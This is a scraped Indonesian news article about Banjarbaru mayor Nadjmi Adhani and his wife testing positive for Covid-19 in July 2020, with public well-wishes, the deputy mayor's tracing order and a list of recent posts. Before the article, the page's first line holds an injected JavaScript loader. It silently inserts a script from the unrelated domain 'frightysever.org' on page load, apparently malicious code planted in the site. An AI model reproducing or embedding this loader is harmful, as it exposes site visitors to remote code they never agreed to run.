(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Dukungan Agar Nadjmi Adhani Sembuh Mengalir Deras


KANALKALIMANTAN.COM, BANJARBARU – Setelah barisan tenaga kesehatan yang bertumbangan, kini giliran pimpinan roda Pemerintah Kota (Pemko) Banjarbaru, sang Wali Kota, Nadjmi Adhani, tumbang akibat hantaman gelombang penyebaran Covid-19.

Sabtu (25/7/2020) kemarin, Nadjmi Adhani serta istri telah dinyatakan positif terpapar Covid-19, menyusul keluarnya hasil tes swab. Kabar pahit tersebut mengharuskan keduanya menjalani perawatan dan isolasi di Rumah Sakit Daerah (RSD) Idaman Banjarbaru.

Sebelum dan sesudah merebaknya pandemi di wilayah Banjarbaru, Nadjmi merupakan sosok pemimpin yang berjibaku soal langkah-langkah dan upaya, baik dari aspek pencegahan maupun penagangan Covid-19. Salah satunya yakni, mengusulkan diberlakukannya Pembatasan Sosial Berskala Besar (PSBB), yang pada akhirnya disetujui oleh Kementrian Kesehatan (Kemenkes) RI.

Berakhirnya fase PSBB, Nadjmi kembali mengambil kebijakan guna melanjutkan dengan memberlakukan Pembatasan Kegiatan Masyarakat (PKM) hingga memasuki jilid II.

 

Baca juga:

Meskipun hampir serupa dengan PSBB, namun dalam fase PKM, aktivitas masyarakat mulai dilonggarkan, dengan tujuan roda ekonomi kembali berjalan.

Hingga setelah semua fase berakhir, pada 9 Juli lalu, Nadjmi menerbitkan Peraturan Wali Kota (Perwali) tentang pengenaan sanksi terhadap pelanggar protokol kesehatan Covid-19. Meskipun menuai pro dan kontra, namun ia menegaskan bahwa pengenaan sanksi adalah demi kepentingan masyarakat Banjarbaru.

“Terbitnya Perwali yang mengatur soal sanksi pelanggar protokol kesehatan berangkat dari niat baik kami untuk mempercepat penanganan dan pencegahan penularan Covid-19 di Banjarbaru,” kata Nadjmi.

Semua ulasan ini menggambarkan bahwa Wali Kota Banjarbaru adalah sosok pejuang dalam melawan penyebaran Covid-19 yang kian masif tiap harinya. Toh, bagi dia, terpapar positif Covid-19 bukanlah aib yang harus ditanggung dengan malu.

Hal itu dibuktikan saat dia memberitahukan kabar mengejutkan ini melalui video yang diunggah di akun Instagram pribadi miliknya. Dalam video berdurasi dua menit itu, Nadjmi yang sedang menjalani perawatan di ruang isolasi, sambil mengenakan alat bantu pernafasan, menyatakan bahwa ia dan istri telah terpapar Covid-19.

Nadjmi mengisyaratkan bukan masalah jika dihadapkan fakta bahwa positif terpapar Covid-19. Justru, ini menjadi “alarm” untuk kembali mengingat masyarakat bahwa pandemi masih berlangsung dan penyebarannya tidak bisa dianggap sebelah mata.

“Masyarkat harus disiplin menerapkan protokol Covid-19. Masyarakat jangan sakit, kita semua harus sama-sama melawan ini dan melakukan protokol Covid-19. Saya juga minta maaf, jika pelayanan kami kurang maksimal,” ujar Nadjmi.

Baca juga :

Video Nadjmi ini sontak viral di sosial media. Ratusan pengguna akun sosial media memberikan dukungan dan memanjat doa agar orang nomor satu di kota Banjarbaru tersebut dan sang istri untuk secepatnya pulih.

@zelfazelfa_anwar : semangat Pa’ @nadjmiadhani in syaa Allah, Bapak dan ibu cepat kembali sehat … kami akan senantiasa mendoakan semoga pengobatannya lancar.. dan Bapak bisa kembali beraktifitas lagi seperti biasa… aamiin yaa robbal aalamiin..🤲🏻🤲🏻

@lusiana_rd : Mudahan lakas sembuh bapak dan ibu 🙏🏻 diberikan kesehatan dan umur yg panjang oleh Allah. Aamiin

Wakil Wali Kota Banjarbaru, Darmawan Jaya Setiawan telah memerintahkan Dinas Kesehatan (Dinkes) untuk melakukan tracing dan testing terhadap semua orang yang memiliki kontak erat dengan wali kota, khususnya di lingkungan Pemko Banjarbaru.

Diakui Jaya, pihaknya sangat menyadari konsekuensi sebagai kepala daerah yang bertugas memberikan pelayanan ke masyarakat, memiliki risiko penularan yang cukup tinggi. Resiko ini sendiri juga dirasakan jajaran ASN -aparatur sipil negara- di Pemko Banjarbaru.

“Saya kembali mengingatkan kepada masyarakat bahwa pentingnya menerapkan protokol kesehatan Covid-19 jika sedang berada di luar rumah. Selain itu, kami juga meminta doa dari masyarakat, agar wali kota beserta istri bisa secepatnya sembuh,” pungkas dia.

Selama Wali Kota Banjarbaru menjalani perawatan dan penyembuhan, penyelanggaran di roda Pemko Banjarbaru diserahkan kepada wakil wali Kota Banjarbaru. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Dhani

Desy Arfianty

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

1 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

1 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

2 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

2 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

3 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

3 jam ago

This website uses cookies.